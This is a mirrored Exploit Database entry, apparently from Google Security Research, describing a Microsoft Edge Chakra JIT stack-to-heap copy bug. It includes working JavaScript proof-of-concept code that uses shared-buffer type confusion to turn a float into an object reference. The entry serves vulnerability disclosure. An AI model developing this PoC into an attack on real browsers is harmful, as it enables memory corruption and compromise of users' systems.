Microsoft Edge Chakra JIT – Stack-to-Heap Copy

• Exploit Database
• 115 阅读

• 作者： Google Security Research
  日期： 2018-01-17
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/43723/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

  /* If variables don&apos;t escape the scope, the variables can be allocated to the stack. However, there are some situations, such as when a bailout happens or accessing to arguments containing stack-allocated variables, where those variables should not exist in the stack. In these cases, the stack-allocated variables are copied to the heap. This is performed by the "*::BoxStackInstance" methods.   Here&apos;s an example. function inlinee() { return inlinee.arguments[0]; }   function opt() { let stack_arr = []; // allocate segment to the heap for (let i = 0; i < 100; i++) stack_arr[i] = 0;   let heap_arr = inlinee(stack_arr); heap_arr[0] = 2;   print(stack_arr[0]); }   function main() { for (let i = 0; i < 100; i++) { opt(); } }   main();   "stack_arr" is allocated in the stack. When accessing "inlinee.arguments", the stack-allocated variable gets copied to the heap. Therefore, the copied-heap-variable "heap_arr" has the same structure with "stack_arr". The code shows that the two variables share the same buffer by printing out "2". This means, even if one of those arrays&apos; type changes, the other array can access the same buffer with the previous type.   PoC: */   function inlinee() { return inlinee.arguments[0]; }   function opt(convert_to_var_array) { /* To make the in-place type conversion happen, it requires to segment. */   let stack_arr = [];// JavascriptNativeFloatArray stack_arr[10000] = 1.1; stack_arr[20000] = 2.2;   let heap_arr = inlinee(stack_arr); convert_to_var_array(heap_arr);   stack_arr[10000] = 2.3023e-320;   return heap_arr[10000]; }   function main() { for (let i = 0; i < 10000; i++) { opt(new Function(&apos;&apos;));// Prevents to be inlined }   print(opt(heap_arr => { heap_arr[10000] = {};// ConvertToVarArray })); }   main();